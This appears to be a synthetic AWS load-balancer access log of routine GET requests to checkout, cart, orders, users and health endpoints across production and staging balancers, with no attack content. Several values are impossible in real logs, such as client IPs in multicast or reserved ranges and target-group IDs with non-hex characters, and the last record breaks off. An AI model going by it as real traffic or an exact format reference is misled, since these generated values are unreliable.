2024-11-01T01:36:37.672554Z prod-web-alb 35.177.231.41:11667 10.0.28.173:443 0.012198 0.337526 0.092477 200 200 673 9861 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce35-d4f22516e29540b2b5a8566c" "-" "-" 8 2024-11-01T01:36:37.672554Z "forward" "-" "-" "10.0.28.173:443" "200" "-" "-" +https 2024-11-01T01:36:38.195931Z prod-api-alb 52.52.165.107:36816 10.0.208.78:443 0.025973 0.126209 0.069984 302 302 405 8392 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ce36-ad37caa8114a458aa63fbd5a" "prod-api-alb.example.com" "-" 9 2024-11-01T01:36:38.195931Z "forward" "-" "-" "10.0.208.78:443" "302" "-" "-" +https 2024-11-01T01:36:39.602000Z staging-alb 51.78.43.172:28221 3.103.110.211:8080 0.027826 0.176042 0.123504 302 302 746 13410 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce37-09f1265e73d2495c84a3ffcc" "staging-alb.example.com" "-" 5 2024-11-01T01:36:39.602000Z "forward" "-" "-" "3.103.110.211:8080" "302" "-" "-" +https 2024-11-01T01:36:41.483400Z staging-alb 148.102.76.218:48398 141.6.238.207:8080 0.051175 0.036916 0.084459 200 200 804 5842 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce39-32c241672164467883fa8ce4" "staging-alb.example.com" "-" 3 2024-11-01T01:36:41.483400Z "forward" "-" "-" "141.6.238.207:8080" "200" "-" "-" +https 2024-11-01T01:36:42.494965Z prod-api-alb 132.109.35.61:39780 10.0.179.42:443 0.036996 0.382216 0.008917 200 200 941 1082 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce3a-8345aad837ce4f01abd247db" "prod-api-alb.example.com" "-" 9 2024-11-01T01:36:42.494965Z "forward" "-" "-" "10.0.179.42:443" "200" "-" "-" +https 2024-11-01T01:36:42.772748Z prod-api-alb 35.123.40.52:47773 10.0.91.185:443 0.052306 0.424638 0.049589 301 301 899 10534 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce3a-0b91adb74c3e425d919b7d14" "prod-api-alb.example.com" "-" 3 2024-11-01T01:36:42.772748Z "forward" "-" "-" "10.0.91.185:443" "301" "-" "-" +https 2024-11-01T01:36:44.297187Z staging-alb 192.223.78.185:34747 194.249.253.146:8080 0.119818 0.268760 0.055366 302 302 128 3667 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce3c-e61ddaf535094c77953345f8" "staging-alb.example.com" "-" 7 2024-11-01T01:36:44.297187Z "forward" "-" "-" "194.249.253.146:8080" "302" "-" "-" +https 2024-11-01T01:36:44.985515Z prod-web-alb 152.190.24.254:57103 10.0.33.131:443 0.076191 0.169136 0.007474 200 200 349 6719 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ce3c-9b8b8ea93ab842f992e6835d" "prod-web-alb.example.com" "-" 4 2024-11-01T01:36:44.985515Z "forward" "-" "-" "10.0.33.131:443" "200" "-" "-" +https 2024-11-01T01:36:46.281547Z prod-web-alb 174.71.42.136:43187 10.0.245.211:443 0.083018 0.270909 0.011087 302 302 998 8746 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce3e-32b85c97949c4638a32d2e65" "prod-web-alb.example.com" "-" 7 2024-11-01T01:36:46.281547Z "forward" "-" "-" "10.0.245.211:443" "302" "-" "-" +https 2024-11-01T01:36:46.448389Z prod-web-alb 231.100.55.135:61062 10.0.90.191:443 0.070502 0.417641 0.017453 200 200 517 6468 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce3e-4d23fcaff6f64b9b9cce9f01" "prod-web-alb.example.com" "-" 5 2024-11-01T01:36:46.448389Z "forward" "-" "-" "10.0.90.191:443" "200" "-" "-" +http 2024-11-01T01:36:46.743581Z staging-alb 122.65.162.203:25868 251.95.33.244:443 0.102497 0.119477 0.007328 200 200 546 2672 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce3e-d5a3fa39a2c044e189d7ba46" "staging-alb.example.com" "-" 3 2024-11-01T01:36:46.743581Z "forward" "-" "-" "251.95.33.244:443" "200" "-" "-" +https 2024-11-01T01:36:48.675764Z prod-api-alb 148.94.143.72:39535 10.0.253.234:443 0.055642 0.364775 0.079123 301 301 344 8767 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ce40-56513503e30045b5a2aa7f43" "prod-api-alb.example.com" "-" 5 2024-11-01T01:36:48.675764Z "forward" "-" "-" "10.0.253.234:443" "301" "-" "-" +http 2024-11-01T01:36:50.478822Z staging-alb 185.19.47.52:34646 8.134.22.3:80 0.135303 0.006864 0.077008 404 404 519 10411 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce42-2adbdd7909cd47d681ceef4a" "staging-alb.example.com" "-" 10 2024-11-01T01:36:50.478822Z "forward" "-" "-" "8.134.22.3:80" "404" "-" "-" +https 2024-11-01T01:36:51.827890Z prod-api-alb 167.61.88.46:20671 10.0.163.111:443 0.034922 0.296625 0.052005 404 404 778 14821 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce43-27c6248e3ba44127b1cf7253" "prod-api-alb.example.com" "-" 10 2024-11-01T01:36:51.827890Z "forward" "-" "-" "10.0.163.111:443" "404" "-" "-" +https 2024-11-01T01:36:53.397060Z prod-web-alb 124.18.239.18:45524 10.0.137.222:443 0.085644 0.236884 0.079431 302 302 153 1307 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ce45-a0372de148a444ce8d63b8f7" "prod-web-alb.example.com" "-" 1 2024-11-01T01:36:53.397060Z "forward" "-" "-" "10.0.137.222:443" "302" "-" "-" +https 2024-11-01T01:36:54.449564Z prod-web-alb 252.105.107.213:23820 10.0.197.102:443 0.076579 0.111550 0.016132 200 200 65 4028 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce46-fa30693020f54ba38fbfba39" "prod-web-alb.example.com" "-" 5 2024-11-01T01:36:54.449564Z "forward" "-" "-" "10.0.197.102:443" "200" "-" "-" +https 2024-11-01T01:36:56.048478Z prod-web-alb 39.187.243.119:59784 10.0.10.40:443 0.004616 0.242532 0.039852 200 200 226 6221 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ce48-80b21dcb084d473cb1dbe240" "prod-web-alb.example.com" "-" 10 2024-11-01T01:36:56.048478Z "forward" "-" "-" "10.0.10.40:443" "200" "-" "-" +https 2024-11-01T01:36:57.017107Z prod-api-alb 249.10.152.63:46621 10.0.197.102:443 0.056141 0.051469 0.033472 200 200 560 9581 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ce49-04079bdc099b4c478b4a94ad" "prod-api-alb.example.com" "-" 2 2024-11-01T01:36:57.017107Z "forward" "-" "-" "10.0.197.102:443" "200" "-" "-" +https 2024-11-01T01:36:58.306300Z prod-web-alb 207.5.200.187:25989 10.0.216.246:443 0.009967 0.388002 0.074238 200 200 499 7603 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce4a-130ee16ef2f04724a71c92e2" "prod-web-alb.example.com" "-" 4 2024-11-01T01:36:58.306300Z "forward" "-" "-" "10.0.216.246:443" "200" "-" "-" +https 2024-11-01T01:36:59.853859Z staging-alb 16.58.186.60:14334 73.247.25.23:443 0.104391 0.582026 0.084123 200 200 894 9500 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce4b-8e8f098e12f1494dadd27592" "staging-alb.example.com" "-" 3 2024-11-01T01:36:59.853859Z "forward" "-" "-" "73.247.25.23:443" "200" "-" "-" +https 2024-11-01T01:37:01.230970Z staging-alb 161.40.16.213:19019 169.176.52.252:80 0.002959 0.578847 0.064021 301 301 390 8237 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce4d-0ff34ee8b50946539e2ff737" "staging-alb.example.com" "-" 10 2024-11-01T01:37:01.230970Z "forward" "-" "-" "169.176.52.252:80" "301" "-" "-" +https 2024-11-01T01:37:01.776345Z staging-alb 213.122.195.164:63371 47.69.254.215:80 0.034729 0.541157 0.013477 200 200 461 6148 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce4d-6d0e4f08e7e147b5be93d847" "staging-alb.example.com" "-" 7 2024-11-01T01:37:01.776345Z "forward" "-" "-" "47.69.254.215:80" "200" "-" "-" +https 2024-11-01T01:37:03.434399Z prod-api-alb 136.97.50.247:55678 10.0.126.105:443 0.033751 0.267740 0.080426 404 404 709 10740 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ce4f-c483a9146ac94273be284149" "prod-api-alb.example.com" "-" 0 2024-11-01T01:37:03.434399Z "forward" "-" "-" "10.0.126.105:443" "404" "-" "-" +https 2024-11-01T01:37:03.592216Z staging-alb 96.59.242.149:22124 26.59.226.188:443 0.029434 0.586968 0.102599 301 301 498 1183 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ce4f-76453c9705094743adcbd8c2" "staging-alb.example.com" "-" 8 2024-11-01T01:37:03.592216Z "forward" "-" "-" "26.59.226.188:443" "301" "-" "-" +http 2024-11-01T01:37:05.534746Z staging-alb 174.165.49.118:47195 228.198.27.253:443 0.118337 0.610371 0.114272 200 200 577 2433 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce51-1135b63a32124525903ad480" "staging-alb.example.com" "-" 3 2024-11-01T01:37:05.534746Z "forward" "-" "-" "228.198.27.253:443" "200" "-" "-" +https 2024-11-01T01:37:06.874182Z prod-api-alb 50.92.132.219:35755 10.0.87.66:443 0.098911 0.021980 0.037610 301 301 933 8985 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ce52-40cd4c5f59514dda95296cbd" "prod-api-alb.example.com" "-" 6 2024-11-01T01:37:06.874182Z "forward" "-" "-" "10.0.87.66:443" "301" "-" "-" +http 2024-11-01T01:37:08.026507Z staging-alb 109.185.219.227:45342 9.144.214.218:80 0.032593 0.659682 0.050279 200 200 666 13301 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce54-ad4ed357f1d14ebc80594f77" "staging-alb.example.com" "-" 4 2024-11-01T01:37:08.026507Z "forward" "-" "-" "9.144.214.218:80" "200" "-" "-" +https 2024-11-01T01:37:09.554041Z staging-alb 197.74.77.169:64744 123.188.212.129:443 0.143194 0.548226 0.006873 404 404 994 6812 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce55-567ac99c2de1438ead26a40c" "staging-alb.example.com" "-" 5 2024-11-01T01:37:09.554041Z "forward" "-" "-" "123.188.212.129:443" "404" "-" "-" +https 2024-11-01T01:37:10.646307Z prod-web-alb 156.184.20.229:52709 10.0.136.27:443 0.041361 0.314719 0.047902 404 404 153 11978 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce56-acd57d5dc4244bb199eb8732" "prod-web-alb.example.com" "-" 10 2024-11-01T01:37:10.646307Z "forward" "-" "-" "10.0.136.27:443" "404" "-" "-" +https 2024-11-01T01:37:11.625921Z staging-alb 231.187.141.184:51758 196.179.229.221:443 0.102082 0.299536 0.005038 302 302 280 1577 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ce57-a70667054b6044328a3838cb" "staging-alb.example.com" "-" 10 2024-11-01T01:37:11.625921Z "forward" "-" "-" "196.179.229.221:443" "302" "-" "-" +https 2024-11-01T01:37:13.495671Z prod-web-alb 189.225.74.235:40156 10.0.120.133:443 0.026945 0.236483 0.067265 200 200 424 9922 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce59-85a5602fbe8e4bedb36cc5b3" "prod-web-alb.example.com" "-" 0 2024-11-01T01:37:13.495671Z "forward" "-" "-" "10.0.120.133:443" "200" "-" "-" +https 2024-11-01T01:37:14.997048Z prod-api-alb 189.70.142.27:63995 10.0.225.168:443 0.045559 0.424673 0.011473 200 200 891 881 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ce5a-722c003417fc46fbb5e6086b" "prod-api-alb.example.com" "-" 4 2024-11-01T01:37:14.997048Z "forward" "-" "-" "10.0.225.168:443" "200" "-" "-" +https 2024-11-01T01:37:16.787962Z prod-web-alb 210.5.134.50:18151 10.0.58.212:443 0.081741 0.321073 0.030753 302 302 732 315 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ce5c-ee747efa68ef40b3a32a0309" "prod-web-alb.example.com" "-" 7 2024-11-01T01:37:16.787962Z "forward" "-" "-" "10.0.58.212:443" "302" "-" "-" +https 2024-11-01T01:37:17.293328Z staging-alb 206.43.50.247:45698 199.29.215.147:443 0.060906 0.005583 0.083922 200 200 440 8504 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ce5d-8e754b4dfa2e4464a43d88e8" "staging-alb.example.com" "-" 8 2024-11-01T01:37:17.293328Z "forward" "-" "-" "199.29.215.147:443" "200" "-" "-" +https 2024-11-01T01:37:18.221430Z prod-web-alb 148.10.232.238:52529 10.0.114.59:443 0.065962 0.145332 0.082518 200 200 859 10700 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce5e-880e8f7c45d44c889f2402cd" "prod-web-alb.example.com" "-" 3 2024-11-01T01:37:18.221430Z "forward" "-" "-" "10.0.114.59:443" "200" "-" "-" +https 2024-11-01T01:37:19.952904Z prod-api-alb 170.171.52.116:42570 10.0.107.165:443 0.095277 0.430760 0.055944 301 301 52 4587 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ce5f-fbb76ea8d0864cdbb9ab43c6" "prod-api-alb.example.com" "-" 0 2024-11-01T01:37:19.952904Z "forward" "-" "-" "10.0.107.165:443" "301" "-" "-" +https 2024-11-01T01:37:21.388887Z prod-api-alb 253.168.59.35:10191 10.0.86.241:443 0.080302 0.435543 0.078315 200 200 738 11782 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ce61-794dfffb20b2484d99a76238" "prod-api-alb.example.com" "-" 10 2024-11-01T01:37:21.388887Z "forward" "-" "-" "10.0.86.241:443" "200" "-" "-" +https 2024-11-01T01:37:22.131215Z prod-api-alb 189.171.215.52:64862 10.0.107.79:443 0.071730 0.494424 0.042187 404 404 6 7999 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce62-b6bc64ec78b34d879abc4971" "prod-api-alb.example.com" "-" 0 2024-11-01T01:37:22.131215Z "forward" "-" "-" "10.0.107.79:443" "404" "-" "-" +https 2024-11-01T01:37:23.029320Z prod-api-alb 233.43.148.168:57584 10.0.175.255:443 0.040552 0.197038 0.049477 404 404 937 6757 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce63-32f946a4a2374bdf8cbfe40d" "prod-api-alb.example.com" "-" 8 2024-11-01T01:37:23.029320Z "forward" "-" "-" "10.0.175.255:443" "404" "-" "-" +https 2024-11-01T01:37:24.168223Z staging-alb 181.43.207.252:32226 72.208.10.220:80 0.036282 0.406296 0.093889 404 404 552 5050 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce64-df67c4b0a6124a5a95ba5ffd" "staging-alb.example.com" "-" 1 2024-11-01T01:37:24.168223Z "forward" "-" "-" "72.208.10.220:80" "404" "-" "-" +https 2024-11-01T01:37:24.572915Z prod-api-alb 168.74.231.142:26344 10.0.52.76:443 0.007578 0.087004 0.060659 302 302 759 4336 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ce64-25ea8399482243bf833531bf" "prod-api-alb.example.com" "-" 6 2024-11-01T01:37:24.572915Z "forward" "-" "-" "10.0.52.76:443" "302" "-" "-" +https 2024-11-01T01:37:25.585727Z prod-web-alb 242.63.222.85:29630 10.0.6.232:443 0.009065 0.486172 0.038401 200 200 563 12663 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ce65-0da1302ed14d43ac940f7f7d" "-" "-" 2 2024-11-01T01:37:25.585727Z "forward" "-" "-" "10.0.6.232:443" "200" "-" "-" +https 2024-11-01T01:37:27.059286Z prod-web-alb 253.5.10.251:17215 10.0.55.90:443 0.089348 0.173677 0.096559 200 200 841 12286 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce67-d1bb5235557c4a86a35caadb" "prod-web-alb.example.com" "-" 6 2024-11-01T01:37:27.059286Z "forward" "-" "-" "10.0.55.90:443" "200" "-" "-" +https 2024-11-01T01:37:29.054029Z prod-api-alb 241.252.131.168:55319 10.0.52.182:443 0.037673 0.036794 0.088935 301 301 252 4316 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ce69-053ddff547d14695aa724696" "prod-api-alb.example.com" "-" 5 2024-11-01T01:37:29.054029Z "forward" "-" "-" "10.0.52.182:443" "301" "-" "-" +http 2024-11-01T01:37:29.929696Z staging-alb 70.112.146.52:54486 24.222.209.32:80 0.010161 0.059016 0.143114 200 200 289 1366 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce69-285e609d13dc45aea79ecd87" "staging-alb.example.com" "-" 8 2024-11-01T01:37:29.929696Z "forward" "-" "-" "24.222.209.32:80" "200" "-" "-" +https 2024-11-01T01:37:31.619349Z prod-web-alb 91.170.75.20:30205 10.0.160.148:443 0.061308 0.452272 0.078013 200 200 143 9725 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce6b-6cb0a86298604581bcf5f17b" "-" "-" 0 2024-11-01T01:37:31.619349Z "forward" "-" "-" "10.0.160.148:443" "200" "-" "-" +https 2024-11-01T01:37:32.662492Z staging-alb 161.197.177.49:56541 140.110.145.82:80 0.001656 0.104659 0.049349 404 404 402 1766 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce6c-6cb7d362aa3f452f8a12854c" "staging-alb.example.com" "-" 2 2024-11-01T01:37:32.662492Z "forward" "-" "-" "140.110.145.82:80" "404" "-" "-" +https 2024-11-01T01:37:33.668429Z prod-web-alb 163.153.11.127:47575 10.0.181.157:443 0.077606 0.074566 0.085421 302 302 654 11141 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 